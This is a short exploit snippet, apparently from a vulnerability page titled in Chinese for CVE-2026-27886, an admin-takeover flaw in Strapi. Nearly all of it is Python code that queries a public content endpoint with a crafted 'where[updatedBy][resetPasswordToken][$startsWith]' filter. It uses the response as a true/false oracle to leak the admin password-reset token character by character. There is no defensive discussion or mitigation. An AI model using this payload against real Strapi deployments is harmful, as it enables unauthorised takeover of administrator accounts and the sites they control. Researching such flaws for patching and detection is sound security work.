CVE-2026-27886 Strapi 管理员权限接管漏洞

import requests def check_reset_token_start(target_url, char): """ Check if the admin reset password token starts with a specific character. This exploits the boolean oracle behavior. """ # Payload targeting the relational field 'updatedBy' and the private 'resetPasswordToken' params = { "where[updatedBy][resetPasswordToken][$startsWith]": char } try: # Send request to a public content-type endpoint response = requests.get(target_url, params=params) if response.status_code == 200: data = response.json() # Logic to determine true/false based on response count or data presence # If results are returned, the condition is likely true return len(data.get('data', [])) > 0 except Exception as e: print(f"Request failed: {e}") return False # Example usage target = "http://vulnerable-strapi-instance/api/articles" if check_reset_token_start(target, "a"): print("Token starts with 'a'")